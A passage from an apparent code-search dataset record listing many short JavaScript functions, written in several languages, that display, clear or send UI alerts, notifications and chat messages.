$(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error no debe de haber campos vacios\")\n $(\".error\").show()\n }\n\n}","_createMessage() {\n let messageArr = ['абонент', 'абонента', 'абонентов'];\n\n function createMessage(number, startWord) {\n let endMessage = null;\n let startMessage = (number === 1) ? startWord : (startWord + \"o\");\n\n if(number === 1) {\n endMessage = messageArr[0];\n } else if (number == 12\n || number == 13\n || number == 14) {\n\n endMessage = messageArr[2];\n } else if( number.toString()[number.toString().length - 1] === '2'\n || number.toString()[number.toString().length - 1] === '3'\n || number.toString()[number.toString().length - 1] === '4') {\n\n endMessage = messageArr[1];\n } else {\n endMessage = messageArr[2];\n }\n\n return startMessage + \" \" + number + \" \" + endMessage;\n }\n\n noty({\n text: createMessage( (this._correctData.length), 'Загружен'),\n type: 'success',\n timeout: '3000'\n });\n\n if(this._inCorrectData.length) {\n noty({\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\n type: 'error',\n timeout: '3000'\n });\n }\n }","limparMsgAlert() {\n divMsg.innerHTML = \"\";\n\n\n }","function congratsMessage(){\n\tif (matchedCards.length === 16){\n\t\tsetTimeout(function(){\n\t\t\ttoggleModal();\n\t\t\t},1000);\n\t\tstopTimer();\n\t}\n}","function callbackValidation(msg){\n swal({\n title: msg,\n text: 'por favor revise sus datos',\n imageUrl: '../assets/img/callback/missing.png',\n imageHeight: 90,\n animation: true,\n confirmButtonColor: '#4fa7f3'\n })\n}","function warn(msg){\n\t\t\n\t\tflashCount = 0;\n\t\t\n\t\tif ( null == msg ){\t\n\t\t\tfaultMsg=\"The inverter has faulted!\"; \n\t\t\t$(\"#alarmMessage\").html(\"The inverter has faulted!\");\n\t\t} else {\n\t\t\tfaultMsg=msg;\n\t\t\t$(\"#alarmMessage\").html(\"FAULTS:\"+msg);\n\t\t}\n\n\t\t$(\"#alarm\").show();\n\t\tif ( !booFault ) {\n\t\t\tbooFault = true;\n\t\t\tscreenFlash();\n\t\t\tsoundAlarm();\n\t\t}\n\t\t\n\n\t}","function mensaje(){\n\treturn 'Hola Mundo JavaScript';\n}","function onSendMessage(){\n var msg = document.getElementById(\"usermsg\").value;\n if(msg == \"\") alert(\"assicurati di inserire il testo da inviare\");\n else {\n if(sex == \"lui\")\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"\";\n\telse\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"\";\n //alert(msg);\n connection.send(msg);\n document.getElementById(\"usermsg\").value=\"\";\n }\n}","function testingMSGS(){\n \n}","function mensaje(){\r\n document.write(\"Holissss\");\r\n document.write(\"*************\")\r\n}","function submitMsg() {\n // only submit messages\n if(ctrl.inputMsg.length > 0) {\n SocketService.submitMsg(ctrl.inputMsg);\n\n // empty the message box\n ctrl.inputMsg = '';\n }\n }","function removeMSG(msg) {\n setTimeout(function () {\n var Idx = msg.Msg;\n var isConf = !!msg.UID;\n\n var message = document.getElementById(isConf ? \"conf-\" + msg.UID + \"-\" + Idx : \"priv-\" + Idx);\n\n if (message){\n message.innerHTML = \"\";\n }\n }, 100);\n }"],"string":"[\n \"function onMessageArrived(message) {\\n console.log(message.payloadString);\\n mentrada=message.payloadString;\\n document.getElementById(\\\"tanto\\\").innerHTML=mentrada;\\n\\tc=1+1;\\n if (mentrada == \\\"0\\\"){\\n\\t\\talert(\\\"No hay alimento en el dispensador\\\");\\n\\t}\\n\\n }\",\n \"function msgPerdeu() {\\n swal({\\n title: \\\"Perdeste!\\\",\\n type: \\\"error\\\",\\n timer: 3000,\\n showConfirmButton: false\\n });\\n bloqueioBoneco();\\n }\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function clearSuccessMessage() {\\n\\n }\",\n \"function mensajes(respuesta){\\n\\n\\t\\t\\t\\tvar foo = respuesta;\\n\\n\\t\\t\\t\\t\\tswitch (foo) {\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"no_exite_session\\\":\\n\\t\\t\\t\\t\\t\\t//============================caso 1 NO EXISTE SESSION==================//\\n\\t\\t\\t\\t\\t\\tswal(\\n\\t\\t\\t\\t\\t\\t\\t\\t'Antes de comprar Inicia tu Session en la Pagina?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'question'\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"saldo_insuficiente\\\":\\n\\t\\t\\t\\t\\t\\t//==============CASO 2 SALDO INSUFICIENTE=======================//\\n\\n\\t\\t\\t\\t\\t\\tswal({\\n\\t\\t\\t\\t\\t\\t\\ttype: 'error',\\n\\t\\t\\t\\t\\t\\t\\ttitle: 'Oops...',\\n\\t\\t\\t\\t\\t\\t\\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\\n\\t\\t\\t\\t\\t\\t\\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"inviaMessaggio(){\\n if(this.messaggioInputUtente != ''){\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: this.messaggioInputUtente,\\n status: 'sent',\\n stileMessaggio: 'message-sent'});\\n this.messaggioInputUtente = '';\\n setTimeout(()=>{\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: 'ok',\\n status: 'received',\\n stileMessaggio: 'message-received'});\\n }, 1000);\\n }\\n }\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function mensajeOk(mensaje) {\\n $(\\\"#mensaje\\\").html(\\\"\\\");\\n $(\\\"#mensaje\\\").append(mensaje);\\n mostrarMensaje(\\\"mensaje\\\");\\n ocultaMensaje(\\\"mensaje\\\");\\n}\",\n \"function sent() {\\n console.info(\\\"Fine processo d'invio notizie\\\")\\n}\",\n \"function mensaje (){\\n console.log('mensaje de la funcion');\\n}\",\n \"function imprimeMensaje() {\\r\\n console.log('Hola soy una funcion!');\\r\\n}\",\n \"function mensajeBienvenida() {\\n console.log(\\\"Bienvenido a Fabrega!\\\")\\n console.log(\\\"Ingrese código de artículo a comprar: \\\")\\n console.log(\\\"0001-Televisor\\\\n0002-Computadora\\\\n0003-Heladera\\\")\\n}\",\n \"function pulsaTecla(e){\\n\\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\\n\\treturn false;\\n}\",\n \"function mensaje(mje){\\n //creo un div para contener el mensaje\\n const div = document.createElement('div');\\n //le asigno una clase para su visualizacion\\n div.className = `alerta alert alert-warning mensaje`;\\n //le agrego un mensaje\\n div.appendChild(document.createTextNode(mje));\\n //identifico y asigno el objeto contenenedor del div\\n const contenedor = document.querySelector('.contenedor');\\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\\n const areaSig = document.querySelector('#card'); \\n //\\n //agregar el div creado al elemento contenedor\\n contenedor.insertBefore(div, areaSig);\\n // Remover el mensaje de alerta\\n //quitar el elemento despues de 2 segundos\\n setTimeout(function() {\\n document.querySelector('.alerta').remove();\\n }, 2000);\\n \\n}\",\n \"mostra_successo(msg) {\\n\\t\\tvar contenuto = document.getElementById(\\\"contenuto\\\");\\n\\t\\twhile ( contenuto.firstChild != null) {\\n\\t\\t\\tcontenuto.removeChild(contenuto.firstChild);\\n\\t\\t}\\n\\t\\t$(\\\"#contenuto\\\").append(msg);\\n\\t\\t\\n\\t}\",\n \"async function valiMess(event){\\n event.preventDefault(); //dont refresh any way\\n let mes = document.getElementById('mes').value.trim()\\n document.getElementById('mes').value = ''\\n if(mes === \\\"\\\"){\\n alert(\\\"message required\\\")\\n event.preventDefault()\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").style.visibility = \\\"visible\\\"\\n await fetch(\\\"/addMessage?mess=\\\"+mes, {method: \\\"post\\\"})\\n .then(res => res.json())\\n .then(response => {\\n for (let i in response) {\\n if(response[i] === \\\"disconnected\\\")\\n stopIntervalAndReturn()\\n else if(response[i] === \\\"message required\\\"){\\n alert(\\\"message required\\\")\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").innerText = response[i]\\n }\\n })\\n .catch(err => (console.log(err.message)))\\n\\n checkNewMessage()\\n }\",\n \"function message(retorno){\\n\\n if(retorno[0] == 'msg'){\\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\\n msg.attr('align', 'center').append(''+retorno[2]+'
');\\n msg.css('box-shadow', '2px 2px 3px #000');\\n\\n $('#dinamic').find('div #msg').remove();\\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\\n }\\n}\",\n \"function Mensajes(mensaje) {\\n if (mensaje == 'Transaccion realizada correctamente')\\n $().toastmessage('showSuccessToast', mensaje);\\n else\\n $().toastmessage('showErrorToast', mensaje);\\n}\",\n \"function showMessageMittente(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\\r\\n\\t\\tlastSender = IS_LAST_MITTENTE;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function BasariMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Tebrikler !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Congratulations !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'success', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function mensaje(){\\n\\n\\talert(\\\"Mensaje de Bienvenida\\\");\\n}\",\n \"function message(ar) {\\n\\tif(ar==1){\\n\\t document.getElementById('successMsg').innerHTML +=\\n\\t \\\"Projekt wurde genehmigt!\\\";\\n\\t}\\n\\telse{\\n\\t\\tdocument.getElementById('successMsg').innerHTML +=\\n\\t\\t\\t \\\"Projekt wurde abgelehnt!\\\";\\n\\t}\\n\\t var element = 'snackbar';\\n\\t $(function(){\\n\\t\\t\\t$(function(){\\n\\t\\t\\t\\t$('#'+element).addClass('animated slideInUp');\\n\\t document.getElementById(\\\"snackbar\\\").style.visibility = \\\"visible\\\";\\n\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideInUp');\\n\\t\\t\\t\\t\\t$(function(){\\n\\t\\t\\t\\t\\t\\t$('#'+element).addClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).remove();\\t\\n\\t\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t\\t});\\t\\n\\t\\t\\t\\t});\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"function showComingMsg(data) {\\r\\n addMsg(data, \\\"someone-else\\\");\\r\\n}\",\n \"function nack() {\\n Twibble.messages.unshift(message);\\n Twibble.sendMessage();\\n }\",\n \"function noop() {\\n console.warn('Hermes messaging is not supported.');\\n }\",\n \"function probando(req, res) {\\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\\n}\",\n \"function message(msg) {\\n var status = document.getElementById('status');\\n status.textContent = msg;\\n setTimeout(function() {\\n status.textContent = '';\\n }, 1500);\\n}\",\n \"TheMessage(msg) {\\n return;\\n }\",\n \"function ack() {\\n Twibble.sendMessage();\\n }\",\n \"mostrarSaludo(mensaje){\\n\\t\\treturn mensaje;\\t\\n\\t}\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function envoiMessage(mess) {\\r\\n // On recupere le message\\r\\n var message = document.getElementById('message').value;\\r\\n\\r\\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\\r\\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\\r\\n\\r\\n // On affiche directement notre message dans notre page\\r\\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'';\\r\\n\\r\\n // On vide le formulaire\\r\\n document.getElementById('message').value = '';\\r\\n\\r\\n // On retourne false pour pas que le formulaire n'actualise pas la page\\r\\n return false;\\r\\n}\",\n \"function msg() {\\r\\n\\t\\tsetTimeout(function () {\\r\\n\\t\\t\\tif(message !== lastMessage) {\\r\\n\\t\\t\\t\\t//client.sendMessage(chanObj, message);\\r\\n\\t\\t\\t\\tchanObj.send(message);\\r\\n\\t\\t\\t\\tlastMessage = message;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tmsg();\\r\\n\\t\\t}, 100);\\r\\n\\t}\",\n \"function setMsg(msg) {\\n\\tif (msg != \\\"\\\") {\\n\\t\\t$('#signal-msg').html(msg).fadeOut(1000);\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"static messageNoData() {\\n //\\n noDataMessage.style.display = 'block';\\n }\",\n \"function noThanks () { \\n console.log (\\\"OK, maybe another day. Bye!\\\"); \\n}\",\n \"function saludo3(mensaje){\\n console.log(`Hola buen dia 3 ${mensaje}`);\\n }\",\n \"function emitirAviso(mensagem, id, tempo){\\n let snackbar = document.getElementById(id);\\n snackbar.innerHTML = mensagem;\\n snackbar.className = \\\"show\\\";\\n setTimeout(function(){snackbar.className = snackbar.className.replace(\\\"show\\\", \\\"\\\"); }, tempo);\\n}\",\n \"function inviaMessaggioUtente(){\\n var text_user=($('.send').val());\\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\\n templateMsg = $(\\\".template-message .new-message\\\").clone()\\n templateMsg.find(\\\".text-message\\\").text(text_user);\\n templateMsg.find(\\\".time-message\\\").text(ora);\\n templateMsg.addClass(\\\"sendbyUser\\\");\\n $(\\\".conversation\\\").append(templateMsg);\\n $(\\\".send\\\").val(\\\"\\\");\\n setTimeout(stampaMessaggioCpu, 2000);\\n\\n var pixelScroll=$('.containChat')[0].scrollHeight;\\n $(\\\".containChat\\\").scrollTop(pixelScroll);\\n }\\n }\",\n \"function nota(op,msg,time){\\n if(time == undefined)time = 5000;\\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\\n}\",\n \"function setSucessMessageWithFade(message){\\n setSucessMessage(message);\\n setTimeout(function() {\\n setSucessMessage('');\\n }, 3000);\\n }\",\n \"function chatbotResponse() {\\n botMessage = \\\"Introduzca la respuesta correcta por favor\\\"; //the default message\\n\\n if (lastUserMessage === \\\"si\\\" || lastUserMessage === \\\"Si\\\") {\\n botMessage = \\\"Perfecto\\\";\\n }\\n\\n if (counter === 0) {\\n counter = 1;\\n botMessage =\\n \\\"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\\\";\\n }\\n}\",\n \"function OnSuccessCallMaladie(data, status, jqXHR) {\\n\\t\\t\\tnotif(\\\"success\\\", \\\"Brief envoyé avec succès !\\\");\\n\\t\\t}\",\n \"HandleMessage( msg ) {\\n return false;\\n }\",\n \"function checkMessages() {\\n messageBackground({\\n action: 'check messages'\\n });\\n}\",\n \"function quitarMensaje() {\\n document.getElementsByTagName('span')[0].textContent = \\\"\\\";\\n clearInterval(cuentaAtras);\\n }\",\n \"function functionNexMessage(){\\n if(messageQueue.length == 0) return;\\n\\n $(\\\"#messageArea\\\").prepend(messageQueue[0]);\\n $(messageQueue[0]).fadeIn();\\n $(messageQueue[0]).animate({bottom:'0px'},1000);\\n\\n messageQueue[0].messageTimeout = setTimeout(function () {\\n $.when($(messageQueue[0]).fadeOut(500))\\n .done(function() {\\n $(messageQueue[0]).remove();\\n messageQueue.splice(0, 1);\\n functionNexMessage();\\n\\n });\\n }, messageLength);\\n\\n\\n\\n}\",\n \"function AnimateMessage() {\\n var domain_message = $(\\\"div.waiting_message\\\");\\n var is_detect = true;\\n domain_message.fadeToggle(700);\\n if(!domain_message.length) {\\n is_detect = false;\\n return;\\n }\\n console.log(is_detect);\\n setTimeout(arguments.callee, 700);\\n }\",\n \"limpiarMensaje() {\\n const alerta = document.querySelector('.alert');\\n\\n if (alerta) {\\n alerta.remove();\\n }\\n }\",\n \"function printErrorMessage(msg){\\r\\n\\t\\t console.log(\\\"in printmessage() message received: \\\"+msg);\\r\\n\\t\\t if(msg != \\\"\\\")\\r\\n\\t\\t\\t setTimeout(printErrorMessage,7000,\\\"\\\");\\r\\n\\t\\t $(viewLeavesMessage_id).text(msg);\\r\\n\\t\\t \\r\\n\\t }\",\n \"function mostrarAyuda(msg) {\\n $.notify({\\n message: msg\\n }, {\\n type: 'info',\\n delay: 3000,\\n placement: {\\n align: 'center'\\n },\\n z_index: 99999,\\n });\\n}\",\n \"function getWelcomeMessage(){\\n g.msgNo = 0;\\n serverRequest(getParams(\\\"none\\\"),false);\\n}\",\n \"function addMesaj(mesaj,disappear)\\r\\n { \\r\\n \\r\\n mesaj[0].id=\\\"mesaj\\\";\\r\\n \\tmesaj[0].innerHTML=mesaj.innerHTML;\\r\\n \\tdocument.body.appendChild(mesaj[0]);\\r\\n\\r\\n \\tvar MessageDisapears=setTimeout(function(){\\r\\n if(disappear)\\r\\n { \\r\\n console.log(disappear);\\r\\n var m=document.getElementById(\\\"mesaj\\\");\\r\\n document.body.removeChild(m);\\r\\n }\\r\\n \\t},joc.getMsgDisappears());\\r\\n }\",\n \"function ok() {\\n timer();\\n var msgCopy = $(\\\"#template .msgpc\\\").clone();\\n msgCopy.find(\\\".txt\\\").text(\\\"ok\\\");\\n msgCopy.find(\\\".time\\\").text(timer);\\n $(\\\"#chatwindow .chatsbox.active .chatbox\\\").prepend(msgCopy);\\n }\",\n \"function sendMessage() {\\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\\n setValueInput('');\\n }\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n sendMessage();\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function afficherErreur(message) {\\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\\n }\",\n \"function showMessage(msg){\\n $(message).append(''+msg+'');\\n runClean(3000);\\n}\",\n \"showAlertAcessoParticipante(sucess_error,mensagem){\\n if(sucess_error==='success'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n \\n \\n \\n \\n ${mensagem}
\\n \\n \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n if(sucess_error==='error'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n \\n \\n \\n \\n ${mensagem}
\\n \\n \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n setTimeout(() => {\\n document.getElementById('message').remove()\\n }, 3000);\\n }\",\n \"function sendMessage(){\\n //Gets the message that will be sent to the server and put it into variable\\n var msgToSend = g.messageBox.value.trim()\\n \\n //Checks whethers it is null, does not want to send empty string\\n if(msgToSend != \\\"\\\"){\\n //Stops the script from updating every 5 seconds, makes it synchronous,\\n //then sends messages and finally makes it asynchronous again.\\n clearInterval(g.updateInterval);\\n serverRequest(getParams(msgToSend),false);\\n g.updateInterval = setInterval(getMessages, 5000); \\n g.messageBox.value = \\\"\\\"; //clear message box\\n }\\n}\",\n \"function messageNoHousehold() {\\n addMessage('You aren\\\\'t a registered member of a household. Click \\\"Household\\\" on the navigation menu to create or join a household.', 'error');\\n}\",\n \"_msgCallback(err) {\\n if (err) {\\n console.log(err);\\n // TODO: Handle it by showing a prompt\\n }\\n\\n // Re-enable message composer\\n this.setState({\\n busy: false\\n });\\n }\",\n \"function test(message) {\\n return 0;\\n}\",\n \"function HataMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Hata !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Error !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'error', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function sendMessage(){}\",\n \"function failedsent() {\\n console.error(\\\"Invio delle notizie non riuscito!\\\")\\n $(\\\"#formerr\\\").fadeIn(750);\\n $(\\\"#infomsg\\\").text(\\\"Invio delle notizie non riuscito!\\\");\\n $(\\\"#formerr\\\").delay(3000).fadeOut(2000);\\n}\",\n \"function obtenerMensaje1(campo){\\n\\tvar mensaje = \\\"\\\";\\n switch(campo){\\n case 'idproraz': mensaje = \\\"Si modificó algún campo de este módulo debe justificar.\\\";\\n\\tbreak;\\n\\t}\\n\\treturn mensaje; \\n\\t\\n}\",\n \"function alertNotificar(texto, tipo){\\n PNotify.removeAll()\\n new PNotify({\\n title: 'Mensaje de Información',\\n text: texto,\\n type: tipo,\\n hide: true,\\n delay: 7000,\\n styling: 'bootstrap3',\\n addclass: ''\\n });\\n }\",\n \"function showMessageDestinatario(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\\r\\n\\t\\tlastSender = IS_LAST_DESTINATARIO;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function notif(message, success){\\n success = (typeof success !== 'undefined') ? success : true;\\n $('' + message + '')\\n .prependTo(\\\"body\\\")\\n .fadeIn('fast')\\n .delay(5000)\\n .fadeOut('fast')\\n .queue(function(){$(this).remove()});\\n}\",\n \"function checkMessage(inputMsg) {\\n if(inputMsg == undefined){\\n return \\\"\\\";\\n }\\n else{\\n return inputMsg;\\n }\\n }\",\n \"function notyMessage(statue) {\\n $.noty.defaults.killer = true; //closes existing notys\\n noty({\\n text: 'Congratulations, you found ' + statue.name + '. X ',\\n layout: 'topCenter',\\n closeWith: ['click'],\\n type: 'success'\\n });\\n}\",\n \"registeredMsg() {\\n return 'You are already regsitered!';\\n }\",\n \"function ClearStatusMsg() \\n {\\n\\n SetStatusMsg(\\\"StatusMsg\\\", \\\"\\\");\\n }\",\n \"function mensagem(texto) {\\n $(\\\"#erro p\\\").text(texto).addClass('alert-danger').addClass('alert');\\n\\n if (texto)\\n $(\\\"#erro\\\").show(\\\"slow\\\");\\n else\\n $(\\\"#erro\\\").hide(\\\"slow\\\");\\n\\n setTimeout(function () {\\n $(\\\"#erro\\\").hide('slow');\\n }, 3000);\\n}\",\n \"function limpaMensagens() {\\n $rootScope.messages.length = 0;\\n }\",\n \"function process_event(event){\\n // Capturamos los datos del que genera el evento y el mensaje\\n var senderID = event.sender.id;\\n var message = event.message;\\n \\n // Si en el evento existe un mensaje de tipo texto\\n if(message.text){\\n console.log('=========MENSAJE DE ============')\\n console.log('Mensaje de ' + senderID);\\n console.log('mensaje: ' + message.text);\\n\\n if(message.text === 'Integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n if(message.text === 'integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n}\\n \\n // Enviamos el mensaje mediante SendAPI\\n //enviar_texto(senderID, response);\\n }\",\n \"function notifyFail(msg) {\\n const notifcns = document.querySelector('#notifications');\\n if (notifcns) notifcns.remove();\\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\\n const notificationsHtml = `${msg}`;\\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\\n document.querySelector('nav .notifications').classList.remove('hide');\\n }\",\n \"function displayMessage(msg) {\\r\\n $('#msg').bind(\\\"DOMSubtreeModified\\\", function () {\\r\\n window.setTimeout(function () {\\r\\n $(\\\".alert\\\").fadeTo(500, 0).slideUp(500, function () {\\r\\n $(this).remove();\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n });\\r\\n }, 2500);\\r\\n });\\r\\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\\r\\n $('#msg').html('' + msg + '');\\r\\n}\",\n \"function piman_send_message(msg,error){\\n msg = '' + msg + '';\\n\\n $(window).scrollTop($('body').position().top)\\n\\n $(\\\"#notifications_content\\\").html(msg)\\n .addClass(error ? 'error' : 'success');\\n\\n $(\\\"#notifications\\\")\\n .toggle()\\n .delay(5000).fadeOut()\\n .click(function(){$(this).stop(true,true).fadeOut()});\\n\\n}\",\n \"_ackSendMessageHandler(json){\\n\\t if (json.user !== CooperativeEditorParticipants.userName ){\\n \\t\\t\\tthis.domHost.playTTS(json.user);\\n \\t\\t}\\n\\n \\t\\tthis.push('messages', {\\\"user\\\": json.user, \\\"message\\\": json.message, \\\"time\\\": json.time});\\n \\t\\tthis.domHost.playSound(\\\"sendMessage\\\", json.effect, json.position);\\n \\t\\t\\n \\t\\tthis.isTyping = false;\\n }\",\n \"function ChatMessage() {\\n if (document.getElementById(\\\"chatSend\\\").value.trim() != \\\"\\\") {\\n var ChatMsg = document.getElementById(\\\"chatSend\\\");\\n ChatUser(ChatMsg.value);\\n //ChatAdmin(\\\"Please wait\\\");\\n // var blMsg = SendNewMsg(ChatMsg.value);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n //alert(\\\"End\\\");\\n\\n // var blMsg = CallSendMsg(cntMsg);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n var blMsg = ShowAdminMessage(ChatMsg.value);\\n if (blMsg) {\\n cntMsg = cntMsg + 1;\\n }\\n\\n //ChatSuggestions(\\\"test2\\\");\\n ChatMsg.value = \\\"\\\";\\n return false;\\n }\\n}\",\n \"function _noconn()\\n\\t{\\n\\t\\tUTILS.msgbox(\\\"You do not have a good enough signal to complete the request. Please try again later.\\\", \\\"No Connection\\\");\\n\\t}\",\n \"function Fnc_BuscarInformacionHogar(s, e) {\\n\\n if (txtIdentidad.GetText() != \\\"\\\" || txtHogar.GetText() != \\\"\\\") {\\n var NumHogar = (txtHogar.GetText() == \\\"\\\") ? 0 : txtHogar.GetText()\\n if (txtIdentidad.GetText() != \\\"\\\") {\\n if (txtIdentidad.GetText().length != 13) {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error dede de ingresar un numero de identidad valido\\\")\\n $(\\\".error\\\").show()\\n return 0;\\n }\\n }\\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\\n\\n } else {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error no debe de haber campos vacios\\\")\\n $(\\\".error\\\").show()\\n }\\n\\n}\",\n \"_createMessage() {\\n let messageArr = ['абонент', 'абонента', 